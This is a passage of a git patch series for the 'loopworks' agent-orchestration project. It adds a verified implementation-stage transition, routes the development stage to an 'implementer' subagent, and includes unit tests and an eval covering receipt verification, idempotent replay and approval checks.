evidence.executionReceipt, + receiptSecret, + ) + ) { + throw new DevelopmentLoopTransitionError( + `Invalid green implementation evidence for ${plannedTest.id}.`, + ); + } + } + const validation = output.validationEvidence; + if ( + !verifyImplementationExecutionReceipt( + { + kind: "aggregate", + command: validation.command, + exitCode: validation.exitCode, + outcome: validation.outcome, + outputSha256: validation.outputReference.sha256, + planSha256: output.binding.planSha256, + testPlanSha256: output.binding.testPlanSha256, + testPatchSha256: output.binding.testPatchSha256, + productionPatchSha256: output.patch.sha256, + testPaths: [], + }, + validation.executionReceipt, + receiptSecret, + ) + ) { + throw new DevelopmentLoopTransitionError("Aggregate validation receipt is invalid."); + } + + const claimId = randomUUID(); + const [claimedStep] = await tx + .update(runSteps) + .set({ metadata: { ...(step.metadata ?? {}), implementationClaim: claimId } }) + .where( + and( + eq(runSteps.id, step.id), + sql`not coalesce(${runSteps.metadata} ? 'implementationClaim', false)`, + ), + ) + .returning({ id: runSteps.id }); + if (!claimedStep) { + throw new DevelopmentLoopTransitionError( + `Implementation transition is already in progress for run ${input.runId}.`, + ); + } + + const [patchArtifact] = await tx + .select() + .from(artifacts) + .where( + and( + eq(artifacts.runId, input.runId), + eq(artifacts.stepId, step.id), + eq(artifacts.type, "patch"), + ), + ); + if (!patchArtifact) { + throw new DevelopmentLoopTransitionError("Development patch artifact is missing."); + } + await tx + .update(artifacts) + .set({ + metadata: { + implementationMetadataKind: "implementation_result", + implementationResult: output, + implementationResultSchemaId: output.schemaId, + implementationVersion: output.version, + }, + sha256: computeImplementationDigest(output), + }) + .where(eq(artifacts.id, patchArtifact.id)); + await tx + .update(runSteps) + .set({ + completedAt: occurredAt, + startedAt: step.startedAt ?? occurredAt, + status: "succeeded", + validationStatus: "green", + }) + .where(eq(runSteps.id, step.id)); + await tx + .update(loopRuns) + .set({ currentStage: "validation", status: "running" }) + .where(eq(loopRuns.id, input.runId)); + + input.logger?.info( + { + durationMs: Math.max(0, Date.now() - startedAt), + outcome: "advanced", + patchSha256: output.patch.sha256, + runId: input.runId, + stepId: step.id, + testCount: output.greenEvidence.length, + }, + "implementation_stage_advanced", + ); + + return { + runId: input.runId, + stage: "development", + status: "advanced", + stepId: step.id, + ...((step.traceId ?? run.traceId) + ? { traceId: step.traceId ?? run.traceId ?? undefined } + : {}), + }; + }); + span.setAttributes({ + "loopworks.duration_ms": Math.max(0, Date.now() - startedAt), + "loopworks.outcome": "advanced", + }); + markLoopworksSpanOk(span); + return result; + } catch (error) { + markLoopworksSpanError(span, error); + throw error; + } finally { + span.end(); + } +} + function durationSecondsBetween(startedAt: Date, completedAt: Date): number { return Math.max(0, (completedAt.getTime() - startedAt.getTime()) / 1000); } diff --git a/src/lib/loops/development-run.ts b/src/lib/loops/development-run.ts index e5a2b2e..2f47b43 100644 --- a/src/lib/loops/development-run.ts +++ b/src/lib/loops/development-run.ts @@ -1,4 +1,5 @@ import { randomUUID } from "node:crypto"; +import { createImplementationArtifactContractMetadata } from "@agent/implementation-agent"; import { createPlanningAgentSeedPlan } from "@agent/planning-agent"; import { createRedTestEvidenceArtifactContractMetadata, @@ -87,7 +88,7 @@ export const developmentLoopStages = [ validationStatus: "red", }, { - actorId: "eve-builder-agent", + actorId: "implementer", actorType: "agent", artifacts: [{ label: "Patch artifact", required: true, type: "patch" }], key: "development", @@ -468,6 +469,7 @@ export async function createDevelopmentLoopRun(input: { ? createRedTestEvidenceArtifactContractMetadata() : {}), ...(artifact.type === "test_plan" ? createTestPlanArtifactContractMetadata() : {}), + ...(artifact.type === "patch" ? createImplementationArtifactContractMetadata() : {}), ...(artifact.type === "pr_intent" ? createPrIntentArtifactContractMetadata() : {}), }, runId, diff --git a/tests/unit/loops/implementation-transition.test.ts b/tests/unit/loops/implementation-transition.test.ts new file mode 100644 index 0000000..ffbe998 --- /dev/null +++ b/tests/unit/loops/implementation-transition.test.ts @@ -0,0 +1,471 @@ +/** @vitest-environment node */ +import { createHash, randomUUID } from "node:crypto"; + +import { + computeImplementationDigest, + implementationAgentModelLabel, + type ImplementationResult, + implementationResultSchemaId, +} from "@agent/implementation-agent"; +import { createImplementationExecutionReceipt } from "@agent/subagents/implementer/lib/tool-policy"; +import { + computeTestPlanDigest, + redTestEvidenceSchemaId, + testPlanSchemaId, +} from "@agent/test-writing-agent"; +import { and, eq } from "drizzle-orm"; + +import { agentPlans, approvals, artifacts, loopRuns, repositories, runSteps } from "@/db/schema"; +import { applyApprovalTransition } from "@/lib/approval-transitions"; +import type { ApprovalTransitionDatabase } from "@/lib/approvals"; +import { + createDevelopmentLoopRun, + type DevelopmentLoopRunDatabase, +} from "@/lib/loops/development-run"; +import { + applyDevelopmentLoopImplementationResult, + type DevelopmentLoopTransitionDatabase, +} from "@/lib/loops/development-run-transitions"; +import { createPgliteTestDatabase, type PgliteTestDatabase } from "../../helpers/pglite"; + +const sha256 = (value: string) => createHash("sha256").update(value).digest("hex"); + +describe("implementation stage transition", () => { + let context: PgliteTestDatabase; + + beforeEach(async () => { + context = await createPgliteTestDatabase(); + await context.db.insert(repositories).values({ + githubRepoId: 48_000_002, + owner: "ncolesummers", + name: "loopworks", + fullName: "ncolesummers/loopworks", + enabledLoops: ["Agent-ready development loop"], + validationGates: ["Focused tests", "bun run validate"], + }); + }); + + afterEach(async () => context.close()); + + async function prepare() { + const created = await createDevelopmentLoopRun({ + database: context.db as unknown as DevelopmentLoopRunDatabase, + trigger: { + body: "## Acceptance Criteria\n- Implementation makes the red test green.", + issueNumber: 48, + repositoryFullName: "ncolesummers/loopworks", + repositoryRevision: { ref: "main", commitSha: "a".repeat(40) }, + title: "Implementation subagent", + }, + }); + if (created.mode !== "created") throw new Error("Expected created run."); + const [approval] = await context.db + .select() + .from(approvals) + .where(eq(approvals.runId, created.runId)); + if (!approval) throw new Error("Expected plan approval."); + await applyApprovalTransition({ + action: "approve", + actorId: "maintainer", + approvalId: approval.id, + database: context.db as unknown as ApprovalTransitionDatabase, + expectedStatus: "requested", + }); + const [planRow] = await context.db + .select() + .from(agentPlans) + .where(eq(agentPlans.runId, created.runId)); + const plan = planRow?.plan as { identity?: { id?: string; sha256?: string } }; + if (!plan.identity?.id || !plan.identity.sha256) throw new Error("Expected plan identity."); + + const testPatch = [ + "diff --git a/tests/unit/red.test.ts b/tests/unit/red.test.ts", + "new file mode 100644", + "--- /dev/null", + "+++ b/tests/unit/red.test.ts", + "@@ -0,0 +1 @@", + "+expect(ready).toBe(true);", + ].join("\n"); + const testPlan = { + version: 1 as const, + schemaId: testPlanSchemaId, + plan: { + id: plan.identity.id, + sha256: plan.identity.sha256, + repositoryFullName: "ncolesummers/loopworks", + commitSha: "a".repeat(40), + }, + acceptanceCriteria: [{ id: "ac-1", text: "Implementation makes the red test green." }], + tests: [ + { + id: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + type: "unit" as const, + path: "tests/unit/red.test.ts", + command: "bun run test -- tests/unit/red.test.ts", + steps: ["Run focused test."], + expectedFailure: { kind: "assertion" as const, message: "expected false to be true" }, + fixtureIds: [], + }, + ], + fixtures: [], + patch: { + format: "unified-diff" as const, + content: testPatch, + sha256: sha256(testPatch), + byteCount: Buffer.byteLength(testPatch), + paths: ["tests/unit/red.test.ts"], + }, + }; + const redEvidence = { + version: 1 as const, + schemaId: redTestEvidenceSchemaId, + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + results: [ + { + id: "red-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/red.test.ts", + outcome: "expected_failure" as const, + exitCode: 1, + durationMs: 10, + expectedAssertion: "expected false to be true", + executionReceipt: "b".repeat(64), + outputReference: { + uri: "artifact://red.log", + sha256: "c".repeat(64), + byteCount: 10, + redacted: true as const, + }, + }, + ], + }; + + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, created.runId), eq(runSteps.stage, "test-writing"))); + const [developmentStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, created.runId), eq(runSteps.stage, "development"))); + if (!testStep || !developmentStep) throw new Error("Expected stage steps."); + const testArtifacts = await context.db + .select() + .from(artifacts) + .where(eq(artifacts.stepId, testStep.id)); + const testPlanArtifact = testArtifacts.find(({ type }) => type === "test_plan"); + const redArtifact = testArtifacts.find(({ type }) => type === "validation_report"); + if (!testPlanArtifact || !redArtifact) throw new Error("Expected upstream artifacts."); + await context.db + .update(artifacts) + .set({ + metadata: { testPlan, testPlanMetadataKind: "test_plan_result" }, + sha256: computeTestPlanDigest(testPlan), + }) + .where(eq(artifacts.id, testPlanArtifact.id)); + await context.db + .update(artifacts) + .set({ + metadata: { + redTestEvidence: redEvidence, + redTestEvidenceMetadataKind: "red_test_evidence_result", + }, + sha256: computeTestPlanDigest(redEvidence), + }) + .where(eq(artifacts.id, redArtifact.id)); + await context.db + .update(runSteps) + .set({ status: "succeeded", validationStatus: "red", completedAt: new Date() }) + .where(eq(runSteps.id, testStep.id)); + await context.db + .update(runSteps) + .set({ status: "running", startedAt: new Date() }) + .where(eq(runSteps.id, developmentStep.id)); + await context.db + .update(loopRuns) + .set({ currentStage: "development", status: "running" }) + .where(eq(loopRuns.id, created.runId)); + + const patch = [ + "diff --git a/src/example.ts b/src/example.ts", + "--- a/src/example.ts", + "+++ b/src/example.ts", + "@@ -1 +1 @@", + "-export const ready = false;", + "+export const ready = true;", + ].join("\n"); + const binding = { + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + testPatchSha256: testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(testPlan.fixtures), + repositoryFullName: "ncolesummers/loopworks", + commitSha: "a".repeat(40), + }; + const focusedOutput = sha256("PASS tests/unit/red.test.ts"); + const validationOutput = sha256("validate pass"); + const baseReceipt = { + exitCode: 0, + outcome: "pass" as const, + planSha256: binding.planSha256, + testPlanSha256: binding.testPlanSha256, + testPatchSha256: binding.testPatchSha256, + productionPatchSha256: sha256(patch), + }; + const output: ImplementationResult = { + version: 1, + schemaId: implementationResultSchemaId, + model: implementationAgentModelLabel, + binding, + patch: { + format: "unified-diff", + content: patch, + sha256: sha256(patch), + byteCount: Buffer.byteLength(patch), + paths: ["src/example.ts"], + }, + greenEvidence: [ + { + id: "green-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/red.test.ts", + testPath: "tests/unit/red.test.ts", + outcome: "pass", + exitCode: 0, + durationMs: 12, + executionReceipt: createImplementationExecutionReceipt( + { + ...baseReceipt, + kind: "focused", + command: "bun run test -- tests/unit/red.test.ts", + outputSha256: focusedOutput, + testPaths: ["tests/unit/red.test.ts"], + }, + "implementation-secret", + ), + outputReference: { + uri: "artifact://green.log", + sha256: focusedOutput, + byteCount: 31, + redacted: true, + }, + }, + ], + validationEvidence: { + command: "bun run validate", + outcome: "pass", + exitCode: 0, + durationMs: 30, + executionReceipt: createImplementationExecutionReceipt( + { + ...baseReceipt, + kind: "aggregate", + command: "bun run validate", + outputSha256: validationOutput, + testPaths: [], + }, + "implementation-secret", + ), + outputReference: { + uri: "artifact://validate.log", + sha256: validationOutput, + byteCount: 13, + redacted: true, + }, + }, + }; + return { approvalId: approval.id, output, runId: created.runId }; + } + + it("persists the patch and advances complete green evidence to validation", async () => { + const prepared = await prepare(); + const result = await applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }); + expect(result).toMatchObject({ stage: "development", status: "advanced" }); + const [run] = await context.db.select().from(loopRuns).where(eq(loopRuns.id, prepared.runId)); + const [step] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "development"))); + const [artifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, prepared.runId), eq(artifacts.stepId, step?.id ?? ""))); + expect(run?.currentStage).toBe("validation"); + expect(step).toMatchObject({ status: "succeeded", validationStatus: "green" }); + expect(artifact?.metadata).toMatchObject({ + implementationMetadataKind: "implementation_result", + implementationResultSchemaId, + }); + expect(artifact?.sha256).toBe(computeImplementationDigest(prepared.output)); + }); + + it("rejects a receipt that is not bound to the production patch", async () => { + const prepared = await prepare(); + const evidence = prepared.output.greenEvidence[0]; + if (!evidence) throw new Error("Expected green evidence."); + evidence.executionReceipt = "0".repeat(64); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow(); + }); + + it("allows only an exact idempotent replay", async () => { + const prepared = await prepare(); + await applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).resolves.toMatchObject({ idempotent: true }); + + const different = structuredClone(prepared.output); + different.validationEvidence.durationMs += 1; + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: different, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("does not match the persisted result"); + }); + + it("fails closed when plan approval is revoked before persistence", async () => { + const prepared = await prepare(); + await context.db + .update(approvals) + .set({ status: "rejected" }) + .where(eq(approvals.id, prepared.approvalId)); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("plan identity is invalid"); + }); + + it("rejects red evidence that no longer matches the persisted test plan", async () => { + const prepared = await prepare(); + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "test-writing"))); + if (!testStep) throw new Error("Expected test-writing step."); + const rows = await context.db.select().from(artifacts).where(eq(artifacts.stepId, testStep.id)); + const redRow = rows.find(({ type }) => type === "validation_report"); + const redEvidence = structuredClone(redRow?.metadata?.redTestEvidence) as { + results?: Array<{ command?: string }>; + }; + if (!redRow || !redEvidence.results?.[0]) throw new Error("Expected red evidence."); + redEvidence.results[0].command = "bun run test -- tests/unit/unrelated.test.ts"; + await context.db + .update(artifacts) + .set({ + metadata: { ...redRow.metadata, redTestEvidence: redEvidence }, + sha256: computeTestPlanDigest(redEvidence), + }) + .where(eq(artifacts.id, redRow.id)); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("does not match the persisted test plan"); + }); + + it("rejects duplicate upstream handoff artifacts", async () => { + const prepared = await prepare(); + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "test-writing"))); + if (!testStep) throw new Error("Expected test-writing step."); + const [testPlanArtifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.stepId, testStep.id), eq(artifacts.type, "test_plan"))); + if (!testPlanArtifact) throw new Error("Expected test-plan artifact."); + await context.db.insert(artifacts).values({ + id: randomUUID(), + metadata: testPlanArtifact.metadata, + runId: prepared.runId, + sha256: testPlanArtifact.sha256, + stepId: testStep.id, + title: "Duplicate test plan", + type: "test_plan", + uri: "artifact://duplicate/test-plan", + }); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("exactly one test plan"); + }); + + it("serializes concurrent identical transitions without overwriting the patch", async () => { + const prepared = await prepare(); + const results = await Promise.allSettled([ + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ]); + const fulfilled = results.filter( + ( + result, + ): result is PromiseFulfilledResult< + Awaited> + > => result.status === "fulfilled", + ); + expect(fulfilled).toHaveLength(2); + expect(fulfilled.some(({ value }) => value.idempotent === true)).toBe(true); + const [step] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "development"))); + const [patchArtifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.stepId, step?.id ?? ""), eq(artifacts.type, "patch"))); + expect(patchArtifact?.sha256).toBe(computeImplementationDigest(prepared.output)); + }); +}); From 662616a111ee7f228339527e9ad1e7963ad5b432 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:07:59 -0700 Subject: [PATCH 04/10] feat(agent): route development stage through the implementer The orchestrator delegates development to the implementer and persists via apply_implementation_result; fixture mode serves a canned development-stage context for deterministic evals. The development stage actor becomes the declared implementer subagent. Co-Authored-By: Claude Fable 5 --- agent/instructions.md | 7 +- agent/tools/apply_implementation_result.ts | 86 +++++++++++++++++++ agent/tools/read_run_stage_context.ts | 51 +++++++++++ .../agent/implementation-discovery.test.ts | 47 ++++++++++ 4 files changed, 188 insertions(+), 3 deletions(-) create mode 100644 agent/tools/apply_implementation_result.ts create mode 100644 tests/unit/agent/implementation-discovery.test.ts diff --git a/agent/instructions.md b/agent/instructions.md index f5ce6a7..eb8a9cb 100644 --- a/agent/instructions.md +++ b/agent/instructions.md @@ -4,12 +4,13 @@ You are Loopworks' neutral stage orchestrator. Read durable run state and delegate exactly one stage to the matching declared subagent. Planning belongs to `planner`; approved test writing belongs to -`test-writer`. Stage subagents have isolated sandboxes and communicate only with -typed artifacts. +`test-writer`; development belongs to `implementer`. Stage subagents have +isolated sandboxes and communicate only with typed artifacts. Always begin with `read_run_stage_context`. After planner delegation, call `record_plan_artifact`; after test-writer delegation, call -`apply_test_writing_result`. A subagent response alone never changes durable +`apply_test_writing_result`; after implementer delegation, call +`apply_implementation_result`. A subagent response alone never changes durable state. Never infer approval from a prompt. Test writing requires a persisted diff --git a/agent/tools/apply_implementation_result.ts b/agent/tools/apply_implementation_result.ts new file mode 100644 index 0000000..1086dfd --- /dev/null +++ b/agent/tools/apply_implementation_result.ts @@ -0,0 +1,86 @@ +import { defineTool } from "eve/tools"; +import { z } from "zod"; + +import { db } from "@/db/client"; +import { applyDevelopmentLoopImplementationResult } from "@/lib/loops/development-run-transitions"; +import { computeImplementationDigest, implementationResultSchema } from "../implementation-agent"; +import { createImplementationFixtureHandoff } from "../implementation-fixture"; +import { computeTestPlanDigest } from "../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../subagents/implementer/lib/fixture-mode"; +import { verifyImplementationExecutionReceipt } from "../subagents/implementer/lib/tool-policy"; + +export default defineTool({ + description: "Persist a verified implementation patch and advance the durable run to validation.", + inputSchema: z.object({ runId: z.string().uuid(), output: implementationResultSchema }), + execute: ({ output, runId }) => { + const parsed = implementationResultSchema.parse(output); + if (resolveImplementerFixtureMode().enabled) { + const handoff = createImplementationFixtureHandoff(); + const expectedBinding = { + planId: handoff.plan.identity.id, + planSha256: handoff.plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(handoff.testPlan), + testPatchSha256: handoff.testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(handoff.testPlan.fixtures), + repositoryFullName: handoff.plan.issue.repositoryFullName, + commitSha: handoff.plan.repositoryRevision?.commitSha, + }; + if (JSON.stringify(parsed.binding) !== JSON.stringify(expectedBinding)) { + throw new Error("Fixture implementation result is not bound to the exact handoff."); + } + const secret = process.env.LOOPWORKS_EVE_TEST_RECEIPT_SECRET; + if (!secret) throw new Error("Implementation execution receipt secret is not configured."); + for (const evidence of parsed.greenEvidence) { + if ( + !verifyImplementationExecutionReceipt( + { + kind: "focused", + command: evidence.command, + exitCode: evidence.exitCode, + outcome: evidence.outcome, + outputSha256: evidence.outputReference.sha256, + planSha256: parsed.binding.planSha256, + testPlanSha256: parsed.binding.testPlanSha256, + testPatchSha256: parsed.binding.testPatchSha256, + productionPatchSha256: parsed.patch.sha256, + testPaths: [evidence.testPath], + }, + evidence.executionReceipt, + secret, + ) + ) { + throw new Error(`Invalid implementation receipt for ${evidence.testId}.`); + } + } + const validation = parsed.validationEvidence; + if ( + !verifyImplementationExecutionReceipt( + { + kind: "aggregate", + command: validation.command, + exitCode: validation.exitCode, + outcome: validation.outcome, + outputSha256: validation.outputReference.sha256, + planSha256: parsed.binding.planSha256, + testPlanSha256: parsed.binding.testPlanSha256, + testPatchSha256: parsed.binding.testPatchSha256, + productionPatchSha256: parsed.patch.sha256, + testPaths: [], + }, + validation.executionReceipt, + secret, + ) + ) { + throw new Error("Invalid aggregate implementation receipt."); + } + return { + persistedArtifactTypes: ["patch"], + runId, + stage: "development" as const, + status: "advanced" as const, + stepId: "00000000-0000-4000-8000-000000000348", + }; + } + return applyDevelopmentLoopImplementationResult({ database: db, output: parsed, runId }); + }, +}); diff --git a/agent/tools/read_run_stage_context.ts b/agent/tools/read_run_stage_context.ts index db65cf3..cb99b28 100644 --- a/agent/tools/read_run_stage_context.ts +++ b/agent/tools/read_run_stage_context.ts @@ -4,13 +4,64 @@ import { z } from "zod"; import { db } from "@/db/client"; import { agentPlans, approvals, artifacts, loopRuns, runSteps } from "@/db/schema"; +import { createImplementationFixtureHandoff } from "../implementation-fixture"; import { createPlanningAgentSeedPlan } from "../planning-agent"; +import { computeTestPlanDigest } from "../test-writing-agent"; +import { resolveImplementerFixtureMode } from "../subagents/implementer/lib/fixture-mode"; import { resolveTestWriterFixtureMode } from "../subagents/test-writer/lib/fixture-mode"; export default defineTool({ description: "Read durable run, plan, approval, step, and artifact context for stage routing.", inputSchema: z.object({ runId: z.string().uuid() }), async execute({ runId }) { + if (resolveImplementerFixtureMode().enabled) { + const { plan, redEvidence, testPlan } = createImplementationFixtureHandoff(); + const planId = "00000000-0000-4000-8000-000000000148"; + return { + approvals: [ + { + id: "00000000-0000-4000-8000-000000000248", + metadata: { planId, planSha256: plan.identity.sha256 }, + status: "approved", + }, + ], + artifacts: [ + { + id: "00000000-0000-4000-8000-000000000448", + metadata: { testPlan, testPlanMetadataKind: "test_plan_result" }, + sha256: computeTestPlanDigest(testPlan), + stepId: "00000000-0000-4000-8000-000000000347", + type: "test_plan", + uri: "artifact://fixture/test-plan", + }, + { + id: "00000000-0000-4000-8000-000000000548", + metadata: { + redTestEvidence: redEvidence, + redTestEvidenceMetadataKind: "red_test_evidence_result", + }, + sha256: computeTestPlanDigest(redEvidence), + stepId: "00000000-0000-4000-8000-000000000347", + type: "validation_report", + uri: "artifact://fixture/red-evidence", + }, + ], + plans: [{ id: planId, plan, status: "approved" }], + run: { currentStage: "development", id: runId, status: "running" }, + steps: [ + { + id: "00000000-0000-4000-8000-000000000347", + stage: "test-writing", + status: "succeeded", + }, + { + id: "00000000-0000-4000-8000-000000000348", + stage: "development", + status: "running", + }, + ], + }; + } if (resolveTestWriterFixtureMode().enabled) { const planId = "00000000-0000-4000-8000-000000000147"; const plan = createPlanningAgentSeedPlan({ diff --git a/tests/unit/agent/implementation-discovery.test.ts b/tests/unit/agent/implementation-discovery.test.ts new file mode 100644 index 0000000..3d904ec --- /dev/null +++ b/tests/unit/agent/implementation-discovery.test.ts @@ -0,0 +1,47 @@ +/** @vitest-environment node */ +import { readdir, readFile } from "node:fs/promises"; +import { join } from "node:path"; + +import { developmentLoopStages } from "@/lib/loops/development-run"; + +describe("implementation subagent discovery", () => { + it("declares implementer as the development-stage sibling", async () => { + const root = process.cwd(); + const [subagents, rootTools, rootInstructions] = await Promise.all([ + readdir(join(root, "agent", "subagents")), + readdir(join(root, "agent", "tools")), + readFile(join(root, "agent", "instructions.md"), "utf8"), + ]); + + expect(subagents).toContain("implementer"); + expect(rootTools).toContain("apply_implementation_result.ts"); + expect(rootInstructions).toContain("development belongs to `implementer`"); + expect(developmentLoopStages.find((stage) => stage.key === "development")).toMatchObject({ + actorId: "implementer", + artifacts: [{ label: "Patch artifact", required: true, type: "patch" }], + }); + }); + + it("provides a discoverable issue #48 eval and narrow implementer tools", async () => { + const root = process.cwd(); + const [tools, evalSource, rootContextSource] = await Promise.all([ + readdir(join(root, "agent", "subagents", "implementer", "tools")), + readFile(join(root, "evals", "implementation", "issue-48-green.eval.ts"), "utf8"), + readFile(join(root, "agent", "tools", "read_run_stage_context.ts"), "utf8"), + ]); + expect(tools).toEqual( + expect.arrayContaining([ + "read_implementation_context.ts", + "apply_exact_test_patch.ts", + "write_production_files.ts", + "run_green_test_suite.ts", + "run_aggregate_validation.ts", + "emit_implementation_result.ts", + ]), + ); + expect(evalSource).toContain('calledSubagent("implementer"'); + expect(evalSource).toContain('calledTool("apply_implementation_result"'); + expect(rootContextSource).toContain("resolveImplementerFixtureMode().enabled"); + expect(rootContextSource).toContain('currentStage: "development"'); + }); +}); From f20a64ebd93f387d2edd74934887ee7509766d99 Mon Sep 17 00:00:00 2001 From: Nate Summers Date: Mon, 13 Jul 2026 21:07:59 -0700 Subject: [PATCH 05/10] test(evals): add implementation stage routing eval Cover root-to-implementer delegation on issue 48: typed result emission, control-plane persistence, and denial of raw write/bash tools at the root. Co-Authored-By: Claude Fable 5 --- evals/implementation/fixtures/issue-48.json | 11 ++++ evals/implementation/issue-48-green.eval.ts | 69 ++++++++++++++++++++ tests/unit/agent/implementation-eval.test.ts | 31 +++++++++ 3 files changed, 111 insertions(+) create mode 100644 evals/implementation/fixtures/issue-48.json create mode 100644 evals/implementation/issue-48-green.eval.ts create mode 100644 tests/unit/agent/implementation-eval.test.ts diff --git a/evals/implementation/fixtures/issue-48.json b/evals/implementation/fixtures/issue-48.json new file mode 100644 index 0000000..157c062 --- /dev/null +++ b/evals/implementation/fixtures/issue-48.json @@ -0,0 +1,11 @@ +{ + "repositoryFullName": "ncolesummers/loopworks", + "issueNumber": 48, + "title": "Implementation subagent for the development loop", + "commitSha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "acceptanceCriteria": [ + "The exact hashed test patch turns green with a scoped production patch.", + "Test-writing fixtures and seed data are reused unchanged.", + "Future model, prompt, and tool changes have eval coverage." + ] +} diff --git a/evals/implementation/issue-48-green.eval.ts b/evals/implementation/issue-48-green.eval.ts new file mode 100644 index 0000000..2f3e72a --- /dev/null +++ b/evals/implementation/issue-48-green.eval.ts @@ -0,0 +1,69 @@ +import { readFile } from "node:fs/promises"; +import { join } from "node:path"; + +import { implementationResultSchema } from "@agent/implementation-agent"; +import { defineEval } from "eve/evals"; +import { includes } from "eve/evals/expect"; + +type ImplementationFixture = { + acceptanceCriteria: string[]; + commitSha: string; + issueNumber: number; + repositoryFullName: string; + title: string; +}; + +export const implementationEvalTimeoutMs = 180_000; + +export function parseImplementationSubagentOutput(output: unknown): unknown | undefined { + if (typeof output !== "string") return undefined; + try { + return JSON.parse(output); + } catch { + return undefined; + } +} + +export function resolveImplementationFixturePath(appRoot = process.cwd()): string { + return join(appRoot, "evals", "implementation", "fixtures", "issue-48.json"); +} + +export async function readImplementationFixture( + appRoot = process.cwd(), +): Promise { + return JSON.parse(await readFile(resolveImplementationFixturePath(appRoot), "utf8")); +} + +export default defineEval({ + description: + "The root delegates issue #48 to implementer and persists a digest-bound green implementation result.", + tags: ["implementation", "issue-48"], + timeoutMs: implementationEvalTimeoutMs, + async test(t) { + const fixture = await readImplementationFixture(); + await t.send( + [ + "Process durable run 00000000-0000-4000-8000-000000000048.", + "Read durable state, delegate development only to implementer, and persist through the control plane.", + `Repository: ${fixture.repositoryFullName}`, + `Commit: ${fixture.commitSha}`, + `Issue: #${fixture.issueNumber} ${fixture.title}`, + "Acceptance criteria:", + ...fixture.acceptanceCriteria.map((criterion, index) => `ac-${index + 1}: ${criterion}`), + "Use explicit implementer fixture mode and emit the typed implementation result only.", + ].join("\n"), + ); + + t.succeeded(); + t.noFailedActions(); + t.calledTool("read_run_stage_context"); + t.calledSubagent("implementer", { + output: (output: unknown) => + implementationResultSchema.safeParse(parseImplementationSubagentOutput(output)).success, + }); + t.calledTool("apply_implementation_result"); + t.check(JSON.stringify(t.events), includes("loopworks.implementation_result.v1")); + t.notCalledTool("write_file"); + t.notCalledTool("bash"); + }, +}); diff --git a/tests/unit/agent/implementation-eval.test.ts b/tests/unit/agent/implementation-eval.test.ts new file mode 100644 index 0000000..3bef093 --- /dev/null +++ b/tests/unit/agent/implementation-eval.test.ts @@ -0,0 +1,31 @@ +/** @vitest-environment node */ +import { + implementationEvalTimeoutMs, + parseImplementationSubagentOutput, + readImplementationFixture, + resolveImplementationFixturePath, +} from "../../../evals/implementation/issue-48-green.eval"; + +describe("implementation Eve eval fixture", () => { + it("discovers the pinned issue #48 fixture without a live model call", async () => { + expect( + resolveImplementationFixturePath().endsWith("evals/implementation/fixtures/issue-48.json"), + ).toBe(true); + await expect(readImplementationFixture()).resolves.toMatchObject({ + issueNumber: 48, + repositoryFullName: "ncolesummers/loopworks", + acceptanceCriteria: expect.arrayContaining([ + expect.stringContaining("exact hashed test patch"), + expect.stringContaining("fixtures and seed data are reused"), + ]), + }); + expect(implementationEvalTimeoutMs).toBeGreaterThanOrEqual(180_000); + }); + + it("decodes the JSON-string output shape emitted by subagent.completed", () => { + const result = { schemaId: "loopworks.implementation_result.v1", version: 1 }; + + 